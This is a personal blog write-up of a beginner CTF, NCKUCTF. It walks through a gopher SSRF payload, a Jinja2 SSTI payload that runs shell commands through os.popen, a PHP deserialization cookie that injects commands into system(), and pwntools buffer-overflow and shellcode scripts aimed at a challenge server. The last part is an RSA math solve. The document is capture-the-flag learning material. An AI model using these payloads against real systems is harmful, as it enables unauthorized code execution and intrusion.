NCKUCTF Write Up

Before all

This CTF for beginners just popped up on SCINT, and I’m so busy currently so I didn’t participate the CTF seriously.
But some problems are interesting and I still learned from them, down below are the write ups~

Write Up

Preview Card

A gopher SSRF!!!
The main reason I want to have this writeup!
The home page of it has only two links, one is the flag but only localhost can read it, and the other is a kink like this:

1
https://preview.ctfd.nckuctf.org/preview.php?url=http://sample.com

I tried it and found out a XSS, and I was like, “Well, is ther an admin bot?”
The answer is NO!
After many different tries, I gave it up and check out the hint:

1
What is SSRF, what is gopher

Ok, ok, I know what is SSRF, but WTH is gopher.
Gopher is an protocal before http, which are commonly known for their extensive tunneling activities and their ability to destroy farms and gardens.(From wikipedia :D)
The exploit for this challenge is to send a post request asking for localhost by gopher and see the sesults from debug on the page.
link about gopher ssrf
payload generator
My first payload:

1
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type%3A%20application/x-www-form-urlencoded

and i got a request like this:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Fri, 22 Sep 2023 14:50:19 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Vary: Accept-Encoding
Content-Length: 149
Content-Type: text/html; charset=UTF-8

<form action="/flag.php" method="post">
Do you want the FLAG? <input type="text" name="givemeflag" value="no">
<input type="submit">
</form>

Well…. I have to post a data as givemeflag=yes

1
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2014%0D%0A%0D%0Agivemeflag%3Dyes

flag popped!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Date: Fri, 22 Sep 2023 12:32:52 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Vary: Accept-Encoding
Content-Length: 183
Content-Type: text/html; charset=UTF-8

<form action="/flag.php" method="post">
Do you want the FLAG? <input type="text" name="givemeflag" value="no">
<input type="submit">
</form>
FLAG:NCKUCTF{SSRF_Sneaky_Requests}

Jinja2

A SSTI (Server Side Template Injection), but since I’m not familiar with flask that much, so I googled the payload…….
SSTI payloads
The principle of SSTI is that the frame Jinja2 would describe a string with this pattern ({{.*}}) as a template element, and it could be Inject by connect some builtin magics to become RCE
my payload:

1
{{config.__class__.__init__.__globals__['os'].popen('cd ../;cat th1s_15_fl4ggggggg').read()}}

The source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import Flask, render_template_string, request, send_file

app = Flask(__name__)


@app.get("/")
def home():
return render_template_string("""
<form method="POST">
<input type="text" name="name" placeholder="Your name">
<button>submit</button>
</form>
<p><a href="/source">Source code</a></p>
""")


@app.post("/")
def welcome_message():
name = request.form.get('name')
return render_template_string("<p>Hello, " + name + "</p>")


@app.get("/source")
def source():
return send_file(__file__, mimetype="text/plain")


if __name__ == '__main__':
app.run(threaded=True, debug=True)

Cat

An php serialization+command injection.
The soucre:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
isset($_GET['source']) && die(!show_source(__FILE__));

class Cat
{
public $name = '(guest cat)';
function __construct($name)
{
$this->name = $name;
}
function __wakeup()
{
echo "<pre>";
system("cowsay 'Welcome back, $this->name'");
echo "</pre>";
}
}

if (!isset($_COOKIE['cat_session'])) {
$cat = new Cat("cat_" . rand(0, 0xffff));
setcookie('cat_session', base64_encode(serialize($cat)));
} else {
$cat = unserialize(base64_decode($_COOKIE['cat_session']));
}
?>
<p>Hello, <?= $cat->name ?>.</p>
<a href="/?source">source code</a>

and I was provided a cookie like this:

1
TzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czo5OiJjYXRfMzIzMzciO30%3D

What it looks like after base64 decoded:

1
O:3:"Cat":1:{s:4:"name";s:9:"cat_32337";}

I just wanted to chamge my payload cat_32337 into cat_322337'; ls echo 'a.
But that didn’t work!
After a few minutes, I realized that it was a php serialization string, and in this payload, s:9:”cat_32337” represent a string object, size of 9 and the value is “cat_32337”, so I also need to change my size value XD
My payload:

1
TzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czo2MToiY2F0XzM0MzQ3JyYmIGNkIC4uLy4uLy4uLyAmJmNhdCBmbGFnXzVmYjJhY2ViZjFkMGM1NTgmJmVjaG8nYSI7fQ==

What it looks like after base64 decoded:

1
O:3:"Cat":1:{s:4:"name";s:61:"cat_34347'&& cd ../../../ &&cat flag_5fb2acebf1d0c558&&echo'a";}

Rahh!!!!

Yet Another Username Password Checker

Challenge file
This challenge allow two inputs, and it’s without stack canary and PIE, so it allows an ret2shellcode exploit.
Method:
First make the global variable become a shellcode get from exploit-db, and ret to the shellcode by BOF while inputing the second variable.
My solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
r=remote('140.116.246.190', 15552)
#r=process('./ret2sc')
payload='a'*0x38+p64(0x404080)
s=r.recvuntil(': ')
print(s)
r.sendline(shellcode)
print(shellcode)
s=r.recvuntil(': ')
print(s)
r.sendline(payload)
print(payload)
r.interactive()

p.s. I’m so cinfused that I consider ret2shellcode as a kind of BOF, but the flag and some other websites said that it’s a kind of ROP……

bof

Challenge file
Just bof with ret2code~~~
My solve script:

1
2
3
4
5
6
7
8
9
rom pwn import *
r=remote('140.116.246.190', 15553)
for i in range(4):
s=r.recvuntil('\n')
print(s)
addr=0x4011b6
padding='a'*0x28
r.sendline(padding+p64(addr))
r.interactive()

puRely high School mAth

An RSA with five primes and a formula with five roots of the primes.
solution:phi(n)/totient(n)=f(1)*-1
An easy but quite creative one.
Challenge source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import getPrime, bytes_to_long
from numpy.polynomial import polynomial as P
from secret import FLAG

primes = []
for i in range(5):
primes.append(getPrime(512))

pt = bytes_to_long(FLAG)
N = primes[0] * primes[1] * primes[2] * primes[3] * primes[4]
e = 0x10001
c = pow(pt, e, N)
print(f"N = {N} \ne = {e} \nc = {c}")

coefficients = P.polyfromroots(primes)
print(f"Although I am evil, I'll give you a hint")
print(
f"The polynomial is: ({coefficients[5]}) * x ** 5 + ({coefficients[4]}) * x ** 4 + ({coefficients[3]}) * x ** 3 + ({coefficients[2]}) * x ** 2 + ({coefficients[1]}) * x + {coefficients[0]}"
)
print(f"There is no formula for solving polynomial of degree 5, haha! Good luck. - Yona")


def test(x):
return (
x**5 * coefficients[5]
+ x**4 * coefficients[4]
+ x**3 * coefficients[3]
+ x**2 * coefficients[2]
+ x * coefficients[1]
+ coefficients[0]
)


for i in primes:
assert (
test(i) == 0
) # Sanity check: f(primes[0])=f(primes[1])=f(primes[2])=f(primes[3])=f(primes[4])=0

datas:

1
2
3
4
5
6
N = 74589377388479220256395124274755513621718001102938856092310626864216100145712997319914585852060516860124385965515331225191123640248815762375637061146158019710356354182927130436015567384589212130141604217421596634528636808019529188666442648153861134305235629996965542430142123282353328395170876196825775920311489204406316187516031426539335287082312293247953584850084586734086698849529182812144565314967419394593384813521249211428140352535373332471130679778470381067853395230164047935419526274875409265972962207414724607294335787238466834759816597980106867778766429397286635717142518810137545341313002078785183519807611849582375914565184651868791970435568273838266325138228060847909410186134993056874695784606042850167617165347780472076237226645613353060515144044347183509
e = 65537
c = 54372310422162708341909396227965961183075164626326017773456004764517207663829886720623601526357940251610660533163860948135456347826467002370324727678431322843031819718926459976753216927837967564953040402801257157084240349840883660989458820207012640721444852382837830533899879003788144950945681915970342254477344117298735514768937873088362985771838877041100278220389071111435319778351229795816490844209035434932113804441265743033999566002298838065894108562631005641425579848020654904227888485997533351392857727661036462725934031024681823937663271763906242364330796951143526976524873317993082339057106782776240418315046104198751660443814428478898635416762507143880424277125109381932855364490688177651782201815223200292490592250478205144562150126028403166082872900689137986
Although I am evil, I'll give you a hint
The polynomial is: (1) * x ** 5 + (-48119449238959664064431388056848262083443351598010876486005413980899245102862943274432647312446266822103926556526300888806856941814195140033426532726966437) * x ** 4 + (916316390865283052868626470361843430815918523848362242777583162414894410696655556195550888998755174145739138567507614480869166751184302565410999041546991684138302351523261989111053193108570521027783948023551076049920890841240287983163459408048895095207456456247472660472441658241455701549473898214907795655566) * x ** 3 + (-8636441083905369069858042281233210939562373326826279452527134344325437120207426211765124178977354188033445775815868821763452710446707060837775101016795669592871763575334601044113835411901379743007595478612376693938561710975476581723590556220834011539105796136301231814195401206505414231054318174488622722611340281691158586557161782841515451050936630513236286511377050950331199002595328681947245303725234202732723544835902211707232831601361506113973845429026225606) * x ** 2 + (40312004179206688223872932025775480226076597343501861181532840272255094576634732415718100509136108879304510567702820703769197754909358459712403222683623066785661752598760763311650855902676830718134590209890586323292552227718091854684669628811126859486800060644183161968857476110122249234590895222131484100414587817486822592070046579831077159138144024860101119755482238856711941887533623456728755956754709985164455397940606771505768608528432853163841570748594353864364499997324136790864192493779011411411989999335219283264251298131077179324522557444743603629333420644593175780239045402537439673048420430564984413432945) * x + -74589377388479220256395124274755513621718001102938856092310626864216100145712997319914585852060516860124385965515331225191123640248815762375637061146158019710356354182927130436015567384589212130141604217421596634528636808019529188666442648153861134305235629996965542430142123282353328395170876196825775920311489204406316187516031426539335287082312293247953584850084586734086698849529182812144565314967419394593384813521249211428140352535373332471130679778470381067853395230164047935419526274875409265972962207414724607294335787238466834759816597980106867778766429397286635717142518810137545341313002078785183519807611849582375914565184651868791970435568273838266325138228060847909410186134993056874695784606042850167617165347780472076237226645613353060515144044347183509
There is no formula for solving polynomial of degree 5, haha! Good luck. - Yona

solve script:

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import *
def f(x):
return((1) * x ** 5 + (-48119449238959664064431388056848262083443351598010876486005413980899245102862943274432647312446266822103926556526300888806856941814195140033426532726966437) * x ** 4 + (916316390865283052868626470361843430815918523848362242777583162414894410696655556195550888998755174145739138567507614480869166751184302565410999041546991684138302351523261989111053193108570521027783948023551076049920890841240287983163459408048895095207456456247472660472441658241455701549473898214907795655566) * x ** 3 + (-8636441083905369069858042281233210939562373326826279452527134344325437120207426211765124178977354188033445775815868821763452710446707060837775101016795669592871763575334601044113835411901379743007595478612376693938561710975476581723590556220834011539105796136301231814195401206505414231054318174488622722611340281691158586557161782841515451050936630513236286511377050950331199002595328681947245303725234202732723544835902211707232831601361506113973845429026225606) * x ** 2 + (40312004179206688223872932025775480226076597343501861181532840272255094576634732415718100509136108879304510567702820703769197754909358459712403222683623066785661752598760763311650855902676830718134590209890586323292552227718091854684669628811126859486800060644183161968857476110122249234590895222131484100414587817486822592070046579831077159138144024860101119755482238856711941887533623456728755956754709985164455397940606771505768608528432853163841570748594353864364499997324136790864192493779011411411989999335219283264251298131077179324522557444743603629333420644593175780239045402537439673048420430564984413432945) * x + -74589377388479220256395124274755513621718001102938856092310626864216100145712997319914585852060516860124385965515331225191123640248815762375637061146158019710356354182927130436015567384589212130141604217421596634528636808019529188666442648153861134305235629996965542430142123282353328395170876196825775920311489204406316187516031426539335287082312293247953584850084586734086698849529182812144565314967419394593384813521249211428140352535373332471130679778470381067853395230164047935419526274875409265972962207414724607294335787238466834759816597980106867778766429397286635717142518810137545341313002078785183519807611849582375914565184651868791970435568273838266325138228060847909410186134993056874695784606042850167617165347780472076237226645613353060515144044347183509)
phi=-1*f(1)
e=65537
c=54372310422162708341909396227965961183075164626326017773456004764517207663829886720623601526357940251610660533163860948135456347826467002370324727678431322843031819718926459976753216927837967564953040402801257157084240349840883660989458820207012640721444852382837830533899879003788144950945681915970342254477344117298735514768937873088362985771838877041100278220389071111435319778351229795816490844209035434932113804441265743033999566002298838065894108562631005641425579848020654904227888485997533351392857727661036462725934031024681823937663271763906242364330796951143526976524873317993082339057106782776240418315046104198751660443814428478898635416762507143880424277125109381932855364490688177651782201815223200292490592250478205144562150126028403166082872900689137986
n=74589377388479220256395124274755513621718001102938856092310626864216100145712997319914585852060516860124385965515331225191123640248815762375637061146158019710356354182927130436015567384589212130141604217421596634528636808019529188666442648153861134305235629996965542430142123282353328395170876196825775920311489204406316187516031426539335287082312293247953584850084586734086698849529182812144565314967419394593384813521249211428140352535373332471130679778470381067853395230164047935419526274875409265972962207414724607294335787238466834759816597980106867778766429397286635717142518810137545341313002078785183519807611849582375914565184651868791970435568273838266325138228060847909410186134993056874695784606042850167617165347780472076237226645613353060515144044347183509
d=inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))